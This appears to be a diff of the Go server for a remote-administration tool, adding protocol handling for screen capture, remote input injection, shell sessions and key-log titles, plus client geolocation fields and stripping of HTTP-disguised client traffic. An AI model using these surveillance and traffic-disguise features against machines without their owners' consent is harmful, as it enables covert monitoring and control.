h.Register(&Device{ID: "x", Name: "first"}, stubCtx())
h.Register(&Device{ID: "x", Name: "second"}, stubCtx())
list := h.ListDevices()
if len(list) != 1 || list[0].Name != "second" {
t.Fatalf("re-register should overwrite, got %+v", list)
}
}
// Race detector should not fire under `go test -race ./hub/...`.
func TestHubConcurrent(t *testing.T) {
h := New()
const goroutines = 50
const opsPer = 100
var wg sync.WaitGroup
for g := range goroutines {
wg.Add(1)
go func(g int) {
defer wg.Done()
for i := range opsPer {
id := fmt.Sprintf("g%d-%d", g, i)
h.Register(&Device{ID: id, Name: id, ConnectedAt: time.Now()}, stubCtx())
_ = h.ListDevices()
_ = h.Count()
h.Unregister(id)
}
}(g)
}
wg.Wait()
if got := h.Count(); got != 0 {
t.Fatalf("after all unregisters: want 0, got %d", got)
}
}

View File

@@ -2,15 +2,22 @@ package protocol
import (
"bytes"
"crypto/hmac"
"crypto/sha256"
"encoding/binary"
"encoding/hex"
"strconv"
"strings"
"golang.org/x/text/encoding/simplifiedchinese"
"golang.org/x/text/transform"
)
// gbkToUTF8 converts GBK encoded bytes to UTF-8 string
func gbkToUTF8(data []byte) string {
// GbkToUTF8 converts GBK encoded bytes to UTF-8 string. The input is treated
// as a null-terminated GBK buffer (typical for Windows clients); content
// after the first NUL byte is discarded. Non-printable characters are
// stripped from the result.
func GbkToUTF8(data []byte) string {
// Find the first null byte and truncate there
if idx := bytes.IndexByte(data, 0); idx >= 0 {
data = data[:idx]
@@ -30,6 +37,21 @@ func gbkToUTF8(data []byte) string {
return cleanString(buf.String())
}
// Utf8CleanString trims at the first NUL and strips non-printables — the
// UTF-8 counterpart of GbkToUTF8 for clients that have the CLIENT_CAP_UTF8
// capability bit. Decoding as GBK in that case would mangle multi-byte
// sequences (the C++ comment at WebService.cpp:1530 calls out this exact
// "double-encoding" footgun).
func Utf8CleanString(data []byte) string {
if idx := bytes.IndexByte(data, 0); idx >= 0 {
data = data[:idx]
}
if len(data) == 0 {
return ""
}
return cleanString(string(data))
}
// cleanString removes non-printable characters except common whitespace
func cleanString(s string) string {
var result strings.Builder
@@ -41,27 +63,300 @@ func cleanString(s string) string {
return strings.TrimSpace(result.String())
}
// Command tokens - matching the C++ definitions
// Client capability bitmask values, matching common/commands.h CLIENT_CAP_*.
// Reported in the hex tail of LOGIN_INFOR.moduleVersion (after the '-').
const (
ClientCapV2 uint32 = 0x0001 // CLIENT_CAP_V2 — V2 file transfer
ClientCapUTF8 uint32 = 0x0002 // CLIENT_CAP_UTF8 — UTF-8 protocol strings (activeWindow, key-log titles, ...)
ClientCapScreenPreview uint32 = 0x0004 // CLIENT_CAP_SCREEN_PREVIEW
)
// SupportsCap returns true when the client's reported capability hex string
// has the given bit set. An empty / unparseable string means "no caps" and
// matches the legacy GBK-Windows convention.
func SupportsCap(capability string, bit uint32) bool {
if capability == "" {
return false
}
caps, err := strconv.ParseUint(strings.TrimSpace(capability), 16, 32)
if err != nil {
return false
}
return uint32(caps)&bit != 0
}
// DecodeClientString decodes a fixed-length, NUL-padded buffer the client
// sent as part of a binary protocol field (typically ActiveWnd). If the
// client signals UTF-8 capability or is known to ship UTF-8 by default
// (Linux / macOS), the bytes are treated as UTF-8; otherwise they're
// decoded from GBK (CP936 — the legacy Windows default).
//
// clientType comes from LOGIN_INFOR reserved field 0 (RES_CLIENT_TYPE) and
// capability from the hex tail of moduleVersion. Both can be empty.
func DecodeClientString(data []byte, capability, clientType string) string {
if SupportsCap(capability, ClientCapUTF8) || clientType == "LNX" || clientType == "MAC" {
return Utf8CleanString(data)
}
return GbkToUTF8(data)
}
// Command tokens - matching the C++ definitions (common/commands.h).
const (
// Server -> Client commands
CommandActived byte = 0 // COMMAND_ACTIVED
CommandBye byte = 204 // COMMAND_BYE - disconnect
CommandHeartbeat byte = 216 // CMD_HEARTBEAT_ACK
CommandActived byte = 0 // COMMAND_ACTIVED
CommandScreenSpy byte = 16 // COMMAND_SCREEN_SPY - start screen capture
CommandScreenControl byte = 20 // COMMAND_SCREEN_CONTROL - mouse/keyboard input (MSG64 batches)
CommandNext byte = 30 // COMMAND_NEXT - "control-side dialog is open, you may stream"
CommandShell byte = 40 // COMMAND_SHELL - ask device to open a shell sub-connection
CommandTerminalRsize byte = 81 // CMD_TERMINAL_RESIZE - [cmd:1][cols:2 LE][rows:2 LE]
CommandBye byte = 204 // COMMAND_BYE - disconnect
CommandHeartbeat byte = 216 // CMD_HEARTBEAT_ACK
// Client -> Server tokens
TokenAuth byte = 100 // TOKEN_AUTH - authorization required
TokenHeartbeat byte = 101 // TOKEN_HEARTBEAT
TokenLogin byte = 102 // TOKEN_LOGIN - login packet
TokenAuth byte = 100 // TOKEN_AUTH - authorization required
TokenHeartbeat byte = 101 // TOKEN_HEARTBEAT
TokenLogin byte = 102 // TOKEN_LOGIN - login packet
TokenBitmapInfo byte = 115 // TOKEN_BITMAPINFO - screen sub-connection header
TokenFirstScreen byte = 116 // TOKEN_FIRSTSCREEN - raw BGRA baseline frame (NOT H264)
TokenNextScreen byte = 117 // TOKEN_NEXTSCREEN - non-keyframe H264 (P-frame)
TokenShellStart byte = 128 // TOKEN_SHELL_START - legacy cmd-pipe shell sub-conn open
TokenKeyframe byte = 134 // TOKEN_KEYFRAME - H264 IDR (sent on GOP boundary)
TokenTerminalStart byte = 232 // TOKEN_TERMINAL_START - modern PTY shell sub-conn open
TokenTerminalClose byte = 233 // TOKEN_TERMINAL_CLOSE - shell exited / close ack
TokenConnAuth byte = 246 // TOKEN_CONN_AUTH - sub-connection identity handshake
CmdCursorImage byte = 93 // CMD_CURSOR_IMAGE - custom cursor bitmap (Phase 5+ feature)
)
// Sub-connection authentication (matches common/commands.h ConnAuth* structs).
// Each newly-opened sub-conn first sends a 512-byte ConnAuthPacket, then waits
// for a 256-byte ConnAuthAck before any further command is meaningful.
const (
ConnAuthPacketSize = 512
ConnAuthAckSize = 256
// ConnAuthPacket field offsets within the inbound 512-byte buffer.
// Layout (from common/commands.h::ConnAuthPacket):
// [token:1][clientID:8 LE][timestamp:8 LE][nonce:16][signature:64][reserved:415]
ConnAuthOffClientID = 1 // uint64 LE — pin to the sub-conn so later
// // 1-byte tokens (TOKEN_TERMINAL_START etc.) can
// // resolve the parent device.
// ConnAuthAck field offsets within the outbound 256-byte buffer.
ConnAuthAckOffStatus = 1 // uint8
ConnAuthAckOffServerTime = 2 // uint64 LE
// Status codes.
ConnAuthStatusOK byte = 0
)
// CMD_MASTERSETTING is the server's reply to a fresh client login. The
// client uses the Signature field to prove this server has the shared
// secret; without a valid signature the client's private FileUpload init
// aborts the process. Struct layout matches MasterSettings in
// common/commands.h (pragma pack 4, total 1000 bytes).
const (
CmdMasterSetting byte = 215
MasterSettingsSize = 1000
MasterSettingsOffReportInterval = 0 // int32, seconds
MasterSettingsOffSignature = 508 // Signature[64]
MasterSettingsSignatureLen = 64
// DefaultReportIntervalSec matches the C++ default. Sending 0 makes the
// client disable its active-window heartbeat field, breaking RTT /
// ActiveWindow live updates on the web UI.
DefaultReportIntervalSec = 5
)
// SignMessage computes HMAC-SHA256(key, msg) and returns the 64-char
// lowercase hex digest. Used to sign CMD_MASTERSETTING replies so the
// client can verify the response came from a legitimate server.
//
// The key is a deployment-time shared secret loaded from the
// YAMA_SIGN_PASSWORD env var so the binary doesn't carry the literal in
// cleartext; provision out-of-band and never commit it.
func SignMessage(password string, msg []byte) string {
mac := hmac.New(sha256.New, []byte(password))
mac.Write(msg)
return hex.EncodeToString(mac.Sum(nil))
}
// Screen-spy parameters that match the C++ ScreenSpy implementation.
const (
AlgorithmH264 byte = 2 // ALGORITHM_H264 — H264 encoding (the algorithm web uses)
)
// Windows message constants used inside MSG64.message. The client dispatches
// on these values verbatim (CScreenManager::ProcessCommand at
// client/ScreenManager.cpp:1617), so these MUST stay bit-identical to the
// WinUser.h definitions even though this Go server is cross-platform.
const (
WMKeyDown uint64 = 0x0100
WMKeyUp uint64 = 0x0101
WMSysKeyDown uint64 = 0x0104
WMSysKeyUp uint64 = 0x0105
WMMouseMove uint64 = 0x0200
WMLButtonDown uint64 = 0x0201
WMLButtonUp uint64 = 0x0202
WMLButtonDblClk uint64 = 0x0203
WMRButtonDown uint64 = 0x0204
WMRButtonUp uint64 = 0x0205
WMRButtonDblClk uint64 = 0x0206
WMMButtonDown uint64 = 0x0207
WMMButtonUp uint64 = 0x0208
WMMouseWheel uint64 = 0x020A
)
// Virtual-key codes referenced from the input mapping. Same numeric values
// as the Win32 VK_* constants.
const (
VKLWin = 0x5B // VK_LWIN — filtered: never forwarded
VKRWin = 0x5C // VK_RWIN — filtered: never forwarded
VKPrior = 0x21 // VK_PRIOR (Page Up) — extended-key range start
VKDown = 0x28 // VK_DOWN — extended-key range end
VKInsert = 0x2D
VKDelete = 0x2E
VKNumLock = 0x90
VKRControl = 0xA3
VKRMenu = 0xA5
VKApps = 0x5D
)
// MK_* wParam bitflags for mouse-button messages.
const (
MKLButton uint64 = 0x0001
MKRButton uint64 = 0x0002
MKMButton uint64 = 0x0010
)
// MSG64 is the 48-byte fixed layout the client expects inside a
// COMMAND_SCREEN_CONTROL packet (common/commands.h class MSG64).
//
// [hwnd:8][message:8][wParam:8][lParam:8][time:8][pt.x:4][pt.y:4]
//
// All uint64 fields are little-endian; pt is two int32 LE. The client's
// ProcessCommand validates `ulLength % 48 == 0` and treats each 48-byte
// block as one MSG64.
const Msg64Size = 48
// BuildScreenControlPacket encodes one COMMAND_SCREEN_CONTROL packet
// carrying a single MSG64 record. The cmd byte is prepended.
//
// Wire layout:
//
// [CMD:1][hwnd:8 LE][message:8 LE][wParam:8 LE][lParam:8 LE][time:8 LE][pt.x:4 LE][pt.y:4 LE]
//
// time is filled with a monotonic-ish ms value (ms since Unix epoch trimmed
// to 32 bits) so the client's GetTickCount() comparisons stay reasonable.
func BuildScreenControlPacket(message, wParam, lParam uint64, ptX, ptY int32, timeMs uint32) []byte {
buf := make([]byte, 1+Msg64Size)
buf[0] = CommandScreenControl
// hwnd left zero — the client recomputes hWnd via WindowFromPoint.
binary.LittleEndian.PutUint64(buf[1+8:1+16], message)
binary.LittleEndian.PutUint64(buf[1+16:1+24], wParam)
binary.LittleEndian.PutUint64(buf[1+24:1+32], lParam)
binary.LittleEndian.PutUint64(buf[1+32:1+40], uint64(timeMs))
binary.LittleEndian.PutUint32(buf[1+40:1+44], uint32(ptX))
binary.LittleEndian.PutUint32(buf[1+44:1+48], uint32(ptY))
return buf
}
// TerminalBinaryMagic is the 4-byte prefix the web UI uses to demultiplex
// terminal output from screen frames over the single WebSocket. Matches
// the C++ side at server/2015Remote/WebService.cpp:2013 ("TRM1"). Screen
// frames lead with a uint32 LE device ID, so collisions with this exact
// magic are astronomically rare in practice.
var TerminalBinaryMagic = [4]byte{'T', 'R', 'M', '1'}
// BuildTerminalResize encodes the 5-byte CMD_TERMINAL_RESIZE packet the
// client's ConPTYManager/TerminalManager expects on the shell sub-conn:
//
// [CMD_TERMINAL_RESIZE:1][cols:2 LE][rows:2 LE]
//
// cols/rows are signed int16 on the wire (the C++ side casts to `short`).
func BuildTerminalResize(cols, rows int) []byte {
buf := make([]byte, 5)
buf[0] = CommandTerminalRsize
binary.LittleEndian.PutUint16(buf[1:3], uint16(int16(cols)))
binary.LittleEndian.PutUint16(buf[3:5], uint16(int16(rows)))
return buf
}
// MakeLParam packs x into the low word and y into the high word — the
// Windows MAKELPARAM macro the client expects in mouse-message lParams.
func MakeLParam(x, y int32) uint64 {
return uint64(uint32(x)&0xFFFF) | (uint64(uint32(y)&0xFFFF) << 16)
}
// IsExtendedKey returns true when the given Win32 VK code should set the
// extended-key bit (bit 24) in a keyboard lParam. Matches the C++
// HandleKey logic (server/2015Remote/WebService.cpp:944).
func IsExtendedKey(vk int) bool {
if vk >= VKPrior && vk <= VKDown {
return true
}
switch vk {
case VKInsert, VKDelete, VKNumLock, VKRControl, VKRMenu, VKApps:
return true
}
return false
}
// Reserved-field indices we care about (see common/commands.h RES_* enum).
// LOGIN_INFOR.szReserved is a '|'-separated list; clients fill known slots
// even when leaving others blank ("?").
const (
ResFieldClientType = 0 // RES_CLIENT_TYPE — client kind (Windows / macOS / ...)
ResFieldFilePath = 4 // RES_FILE_PATH — install path
ResFieldInstallTime = 6 // RES_INSTALL_TIME
ResFieldClientLoc = 10 // RES_CLIENT_LOC — geo string
ResFieldClientPubIP = 11 // RES_CLIENT_PUBIP — public IP
ResFieldResolution = 15 // RES_RESOLUTION — client-formatted screen geometry: "N:W*H"
ResFieldClientID = 16 // RES_CLIENT_ID — uint64 decimal, matches TOKEN_BITMAPINFO clientID
)
// ScreenFrameHeaderLen is the size of the small per-frame header prepended by
// the device on every TOKEN_NEXTSCREEN buffer, before the H.264 NAL payload.
// Layout (excluding the leading TOKEN_* byte):
//
// [algorithm:1][cursorPos:8 (int32 x, int32 y)][cursorIdx:1] = 10 bytes
//
// (The C++ side counts the token byte into its ulHeadLength=11; we keep the
// constant strictly post-token so the call site reads `skip := 1 + headerLen`
// without confusion.) SCREENYSPY_IMPROVE adds a 4-byte frameID after the
// cursor index, which is the production-off setting per common/commands.h.
const ScreenFrameHeaderLen = 1 + 8 + 1
// IsH264Keyframe scans an Annex-B H.264 bitstream for a NAL unit indicating
// a keyframe boundary — IDR (type 5), SPS (7) or PPS (8). Returns true on
// the first hit. Matches the detection used by the C++ ScreenSpy broadcast
// path so frame-type bytes stay consistent across server implementations.
func IsH264Keyframe(data []byte) bool {
n := len(data)
for i := 0; i+4 < n; i++ {
var nalOffset int
switch {
case data[i] == 0 && data[i+1] == 0 && data[i+2] == 0 && data[i+3] == 1:
nalOffset = i + 4
case data[i] == 0 && data[i+1] == 0 && data[i+2] == 1:
nalOffset = i + 3
default:
continue
}
if nalOffset >= n {
continue
}
nalType := data[nalOffset] & 0x1F
if nalType == 5 || nalType == 7 || nalType == 8 {
return true
}
}
return false
}
// LOGIN_INFOR structure size and offsets (matching C++ struct with default alignment)
// Note: C++ struct uses default alignment (4-byte for uint32/int)
const (
LoginInfoSize = 980 // Total size of LOGIN_INFOR struct (with alignment padding)
// Field offsets (with alignment padding)
OffsetToken = 0 // 1 byte (unsigned char)
OffsetOsVerInfoEx = 1 // 156 bytes (char[156])
OffsetToken = 0 // 1 byte (unsigned char)
OffsetOsVerInfoEx = 1 // 156 bytes (char[156])
// 3 bytes padding here to align dwCPUMHz to 4-byte boundary
OffsetCPUMHz = 160 // 4 bytes (unsigned int) - aligned to 4
OffsetModuleVersion = 164 // 24 bytes (char[24])
@@ -111,17 +406,17 @@ func ParseLoginInfo(data []byte) (*LoginInfo, error) {
// Parse module version (offset 164, 24 bytes)
// This contains date string like "Dec 19 2025"
if len(data) >= OffsetModuleVersion+24 {
info.ModuleVersion = gbkToUTF8(data[OffsetModuleVersion : OffsetModuleVersion+24])
info.ModuleVersion = GbkToUTF8(data[OffsetModuleVersion : OffsetModuleVersion+24])
}
// Parse PC name (offset 188, 240 bytes)
if len(data) >= OffsetPCName+240 {
info.PCName = gbkToUTF8(data[OffsetPCName : OffsetPCName+240])
info.PCName = GbkToUTF8(data[OffsetPCName : OffsetPCName+240])
}
// Parse Master ID (offset 428, 20 bytes)
if len(data) >= OffsetMasterID+20 {
info.MasterID = gbkToUTF8(data[OffsetMasterID : OffsetMasterID+20])
info.MasterID = GbkToUTF8(data[OffsetMasterID : OffsetMasterID+20])
}
// Parse WebCam exist (offset 448, 4 bytes)
@@ -136,14 +431,14 @@ func ParseLoginInfo(data []byte) (*LoginInfo, error) {
// Parse Start time (offset 456, 20 bytes)
if len(data) >= OffsetStartTime+20 {
info.StartTime = gbkToUTF8(data[OffsetStartTime : OffsetStartTime+20])
info.StartTime = GbkToUTF8(data[OffsetStartTime : OffsetStartTime+20])
}
// Parse Reserved (offset 476, 512 bytes) - contains additional info
if len(data) >= OffsetReserved+512 {
info.Reserved = gbkToUTF8(data[OffsetReserved : OffsetReserved+512])
info.Reserved = GbkToUTF8(data[OffsetReserved : OffsetReserved+512])
} else if len(data) > OffsetReserved {
info.Reserved = gbkToUTF8(data[OffsetReserved:])
info.Reserved = GbkToUTF8(data[OffsetReserved:])
}
return info, nil
@@ -152,7 +447,7 @@ func ParseLoginInfo(data []byte) (*LoginInfo, error) {
// parseOsVersionInfo parses the OS version info field
// The C++ client fills this with a readable string like "Windows 10" via getSystemName()
func parseOsVersionInfo(data []byte) string {
return gbkToUTF8(data)
return GbkToUTF8(data)
}
// ParseReserved parses the reserved field into a slice of strings

View File

@@ -0,0 +1,47 @@
package protocol
import "testing"
func TestSignMessageHMACVector(t *testing.T) {
// Standard HMAC-SHA256 sanity vector. Anchors that SignMessage matches
// the canonical RFC 4231 algorithm so signatures stay interoperable
// with peers that compute the same digest.
got := SignMessage("key", []byte("hello"))
want := "9307b3b915efb5171ff14d8cb55fbcc798c6c0ef1456d66ded1a6aa723a58b7b"
if got != want {
t.Fatalf("SignMessage(key, hello) = %s, want %s", got, want)
}
}
func TestSignMessageDeterministic(t *testing.T) {
a := SignMessage("test-key", []byte("2026-01-01 12:00:00|123456789"))
b := SignMessage("test-key", []byte("2026-01-01 12:00:00|123456789"))
if a != b {
t.Fatalf("non-deterministic: %s != %s", a, b)
}
if len(a) != 64 {
t.Fatalf("expected 64 hex chars, got %d (%s)", len(a), a)
}
}
func TestIsH264KeyframeBasic(t *testing.T) {
// 4-byte start code + IDR (NAL type 5)
idr := []byte{0x00, 0x00, 0x00, 0x01, 0x65, 0x88}
if !IsH264Keyframe(idr) {
t.Fatal("IDR should be detected as keyframe")
}
// 3-byte start code + SPS (NAL type 7)
sps := []byte{0x00, 0x00, 0x01, 0x67, 0x42}
if !IsH264Keyframe(sps) {
t.Fatal("SPS should be detected as keyframe")
}
// 4-byte start code + non-IDR slice (NAL type 1)
pframe := []byte{0x00, 0x00, 0x00, 0x01, 0x41, 0x9b}
if IsH264Keyframe(pframe) {
t.Fatal("non-IDR slice should not be detected as keyframe")
}
// Garbage
if IsH264Keyframe([]byte{0xde, 0xad, 0xbe, 0xef}) {
t.Fatal("non-H264 bytes should not match")
}
}

View File

@@ -20,6 +20,19 @@ type Parser struct {
codec *Codec
}
// findHTTPBodyOffset returns the byte offset of the HTTP body — i.e. one past
// the first `\r\n\r\n` separator. Returns -1 if the separator isn't present
// yet (caller should wait for more data). Matches the C++ UnMaskHttp scan in
// common/mask.h.
func findHTTPBodyOffset(data []byte) int {
for i := 0; i+4 <= len(data); i++ {
if data[i] == '\r' && data[i+1] == '\n' && data[i+2] == '\r' && data[i+3] == '\n' {
return i + 4
}
}
return -1
}
// NewParser creates a new parser
func NewParser() *Parser {
return &Parser{
@@ -38,6 +51,22 @@ func (p *Parser) Close() {
func (p *Parser) Parse(ctx *connection.Context) ([]byte, error) {
buf := ctx.InBuffer
// Strip optional HTTP-mask wrapper. The client may disguise each outbound
// chunk as a `POST /<random> HTTP/1.1\r\n...\r\n\r\n` envelope followed
// by the real binary body (see common/mask.h: HttpMask). Each chunk
// carries its own envelope so we strip every time we see the prefix.
if buf.Len() >= 5 {
head := buf.Peek(5)
if len(head) == 5 && head[0] == 'P' && head[1] == 'O' && head[2] == 'S' && head[3] == 'T' && head[4] == ' ' {
bodyOffset := findHTTPBodyOffset(buf.Bytes())
if bodyOffset < 0 {
// Headers not fully arrived yet — wait for more bytes.
return nil, ErrNeedMore
}
buf.Skip(bodyOffset)
}
}
// Need at least minimum bytes to determine protocol
if buf.Len() < MinComLen {
return nil, ErrNeedMore

View File

@@ -0,0 +1,8 @@
/**
* Skipped minification because the original files appears to be already minified.
* Original file: /npm/xterm-addon-fit@0.8.0/lib/xterm-addon-fit.js
*
* Do NOT use SRI with dynamically generated files! More information: https://www.jsdelivr.com/using-sri-with-dynamic-files
*/
!function(e,t){"object"==typeof exports&&"object"==typeof module?module.exports=t():"function"==typeof define&&define.amd?define([],t):"object"==typeof exports?exports.FitAddon=t():e.FitAddon=t()}(self,(()=>(()=>{"use strict";var e={};return(()=>{var t=e;Object.defineProperty(t,"__esModule",{value:!0}),t.FitAddon=void 0,t.FitAddon=class{activate(e){this._terminal=e}dispose(){}fit(){const e=this.proposeDimensions();if(!e||!this._terminal||isNaN(e.cols)||isNaN(e.rows))return;const t=this._terminal._core;this._terminal.rows===e.rows&&this._terminal.cols===e.cols||(t._renderService.clear(),this._terminal.resize(e.cols,e.rows))}proposeDimensions(){if(!this._terminal)return;if(!this._terminal.element||!this._terminal.element.parentElement)return;const e=this._terminal._core,t=e._renderService.dimensions;if(0===t.css.cell.width||0===t.css.cell.height)return;const r=0===this._terminal.options.scrollback?0:e.viewport.scrollBarWidth,i=window.getComputedStyle(this._terminal.element.parentElement),o=parseInt(i.getPropertyValue("height")),s=Math.max(0,parseInt(i.getPropertyValue("width"))),n=window.getComputedStyle(this._terminal.element),l=o-(parseInt(n.getPropertyValue("padding-top"))+parseInt(n.getPropertyValue("padding-bottom"))),a=s-(parseInt(n.getPropertyValue("padding-right"))+parseInt(n.getPropertyValue("padding-left")))-r;return{cols:Math.max(2,Math.floor(a/t.css.cell.width)),rows:Math.max(1,Math.floor(l/t.css.cell.height))}}}})(),e})()));
//# sourceMappingURL=xterm-addon-fit.js.map

View File

@@ -0,0 +1,209 @@
/**
* Copyright (c) 2014 The xterm.js authors. All rights reserved.
* Copyright (c) 2012-2013, Christopher Jeffrey (MIT License)
* https://github.com/chjj/term.js
* @license MIT
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in
* all copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
* THE SOFTWARE.
*
* Originally forked from (with the author's permission):
* Fabrice Bellard's javascript vt100 for jslinux:
* http://bellard.org/jslinux/
* Copyright (c) 2011 Fabrice Bellard
* The original design remains. The terminal itself
* has been extended to include xterm CSI codes, among
* other features.
*/
/**
* Default styles for xterm.js
*/
.xterm {
cursor: text;
position: relative;
user-select: none;
-ms-user-select: none;
-webkit-user-select: none;
}
.xterm.focus,
.xterm:focus {
outline: none;
}
.xterm .xterm-helpers {
position: absolute;
top: 0;
/**
* The z-index of the helpers must be higher than the canvases in order for
* IMEs to appear on top.
*/
z-index: 5;
}
.xterm .xterm-helper-textarea {
padding: 0;
border: 0;
margin: 0;
/* Move textarea out of the screen to the far left, so that the cursor is not visible */
position: absolute;
opacity: 0;
left: -9999em;
top: 0;
width: 0;
height: 0;
z-index: -5;
/** Prevent wrapping so the IME appears against the textarea at the correct position */
white-space: nowrap;
overflow: hidden;
resize: none;
}
.xterm .composition-view {
/* TODO: Composition position got messed up somewhere */
background: #000;
color: #FFF;
display: none;
position: absolute;
white-space: nowrap;
z-index: 1;
}
.xterm .composition-view.active {
display: block;
}
.xterm .xterm-viewport {
/* On OS X this is required in order for the scroll bar to appear fully opaque */
background-color: #000;
overflow-y: scroll;
cursor: default;
position: absolute;
right: 0;
left: 0;
top: 0;
bottom: 0;
}
.xterm .xterm-screen {
position: relative;
}
.xterm .xterm-screen canvas {
position: absolute;
left: 0;
top: 0;
}
.xterm .xterm-scroll-area {
visibility: hidden;
}
.xterm-char-measure-element {
display: inline-block;
visibility: hidden;
position: absolute;
top: 0;
left: -9999em;
line-height: normal;
}
.xterm.enable-mouse-events {
/* When mouse events are enabled (eg. tmux), revert to the standard pointer cursor */
cursor: default;
}
.xterm.xterm-cursor-pointer,
.xterm .xterm-cursor-pointer {
cursor: pointer;
}
.xterm.column-select.focus {
/* Column selection mode */
cursor: crosshair;
}
.xterm .xterm-accessibility,
.xterm .xterm-message {
position: absolute;
left: 0;
top: 0;
bottom: 0;
right: 0;
z-index: 10;
color: transparent;
pointer-events: none;
}
.xterm .live-region {
position: absolute;
left: -9999px;
width: 1px;
height: 1px;
overflow: hidden;
}
.xterm-dim {
/* Dim should not apply to background, so the opacity of the foreground color is applied
* explicitly in the generated class and reset to 1 here */
opacity: 1 !important;
}
.xterm-underline-1 { text-decoration: underline; }
.xterm-underline-2 { text-decoration: double underline; }
.xterm-underline-3 { text-decoration: wavy underline; }
.xterm-underline-4 { text-decoration: dotted underline; }
.xterm-underline-5 { text-decoration: dashed underline; }
.xterm-overline {
text-decoration: overline;
}
.xterm-overline.xterm-underline-1 { text-decoration: overline underline; }
.xterm-overline.xterm-underline-2 { text-decoration: overline double underline; }
.xterm-overline.xterm-underline-3 { text-decoration: overline wavy underline; }
.xterm-overline.xterm-underline-4 { text-decoration: overline dotted underline; }
.xterm-overline.xterm-underline-5 { text-decoration: overline dashed underline; }
.xterm-strikethrough {
text-decoration: line-through;
}
.xterm-screen .xterm-decoration-container .xterm-decoration {
z-index: 6;
position: absolute;
}
.xterm-screen .xterm-decoration-container .xterm-decoration.xterm-decoration-top-layer {
z-index: 7;
}
.xterm-decoration-overview-ruler {
z-index: 8;
position: absolute;
top: 0;
right: 0;
pointer-events: none;
}
.xterm-decoration-top {
z-index: 2;
position: relative;
}

File diff suppressed because one or more lines are too long

23
server/go/web/embed.go Normal file
View File

@@ -0,0 +1,23 @@
package web
import _ "embed"
// IndexHTML is the web remote desktop landing page, synced from
// server/web/index.html via `make sync` (or VSCode's sync-assets task).
// Do not edit assets/index.html directly — source of truth lives at
// server/web/index.html.
//
//go:embed assets/index.html
var IndexHTML []byte
// Third-party xterm.js library assets. Checked in as-is; updates are
// infrequent and done manually from server/2015Remote/res/web/.
//go:embed assets/static/xterm.min.js
var xtermJS []byte
//go:embed assets/static/xterm.css
var xtermCSS []byte
//go:embed assets/static/fit.min.js
var xtermFitJS []byte

219
server/go/web/server.go Normal file
View File

@@ -0,0 +1,219 @@
package web
import (
"context"
"encoding/json"
"errors"
"fmt"
"net"
"net/http"
"strconv"
"strings"
"time"
"github.com/yuanyuanxiang/SimpleRemoter/server/go/hub"
"github.com/yuanyuanxiang/SimpleRemoter/server/go/logger"
"github.com/yuanyuanxiang/SimpleRemoter/server/go/wsauth"
)
// Server serves the web remote desktop UI: the embedded index.html, xterm.js
// static assets, the PWA manifest, and JSON APIs backed by the device hub.
// WebSocket signaling and screen streaming will be wired up in later phases.
type Server struct {
port int
log *logger.Logger
srv *http.Server
hub *hub.Hub
auth *wsauth.Authenticator
ws *wsHub
allowedOrigins []string // for WS Origin allowlist; empty = same-origin only
loginIPLimit *wsauth.RateLimiter
loginUserLimit *wsauth.RateLimiter
trustForwardedFor bool // honor X-Forwarded-For (behind trusted proxy only)
}
// Config tunes the server's exposed-on-public-HTTPS hardening knobs.
// All fields are optional; zero values pick reasonable defaults.
type Config struct {
// AllowedOrigins is the comma-separated list of Origin header values
// the WebSocket upgrade will accept in addition to same-origin
// requests. Empty (default) → only same-origin upgrades are allowed,
// which is correct when the web UI and the WS endpoint are served
// from the same host.
AllowedOrigins []string
// LoginIPLimit / LoginUserLimit throttle the get_salt + login flow
// per source IP and per username respectively. Pass nil to disable
// either dimension (e.g. dev mode).
LoginIPLimit *wsauth.RateLimiter
LoginUserLimit *wsauth.RateLimiter
// TrustForwardedFor switches client-IP extraction from RemoteAddr
// (default) to the last entry of X-Forwarded-For. Set true only when
// running behind a reverse proxy that you control; on direct
// exposure the header is client-controlled and would let attackers
// evade per-IP rate limits.
TrustForwardedFor bool
}
// New creates an HTTP server bound to the given port. port=0 disables the server.
// The hub provides read access to the online-device registry; the authenticator
// owns user accounts and session tokens.
func New(port int, log *logger.Logger, h *hub.Hub, auth *wsauth.Authenticator) *Server {
return &Server{port: port, log: log, hub: h, auth: auth}
}
// WithConfig applies hardening configuration. Returns the receiver for
// chainable setup. Safe to call before Start; ignored thereafter.
func (s *Server) WithConfig(cfg Config) *Server {
s.allowedOrigins = cfg.AllowedOrigins
s.loginIPLimit = cfg.LoginIPLimit
s.loginUserLimit = cfg.LoginUserLimit
s.trustForwardedFor = cfg.TrustForwardedFor
return s
}
// Start launches the server in a goroutine and returns immediately.
// If port is 0, returns nil without starting anything.
func (s *Server) Start() error {
if s.port == 0 {
s.log.Info("HTTP server disabled (-http-port=0)")
return nil
}
s.ws = newWSHub(s.auth, s.hub, s.log).
withOriginAllowlist(s.allowedOrigins).
withLoginRateLimiters(s.loginIPLimit, s.loginUserLimit).
withTrustForwardedFor(s.trustForwardedFor)
mux := http.NewServeMux()
mux.HandleFunc("/", s.handleIndex)
mux.HandleFunc("/health", s.handleHealth)
mux.HandleFunc("/manifest.json", s.handleManifest)
mux.HandleFunc("/api/devices", s.requireBearer(s.handleDevices))
mux.HandleFunc("/ws", s.ws.serve)
mux.HandleFunc("/static/xterm.js", staticHandler(xtermJS, "application/javascript; charset=utf-8"))
mux.HandleFunc("/static/xterm.css", staticHandler(xtermCSS, "text/css; charset=utf-8"))
mux.HandleFunc("/static/xterm-fit.js", staticHandler(xtermFitJS, "application/javascript; charset=utf-8"))
s.srv = &http.Server{
Addr: ":" + strconv.Itoa(s.port),
Handler: mux,
ReadHeaderTimeout: 10 * time.Second,
}
// Bind synchronously so port-in-use / permission errors propagate to the
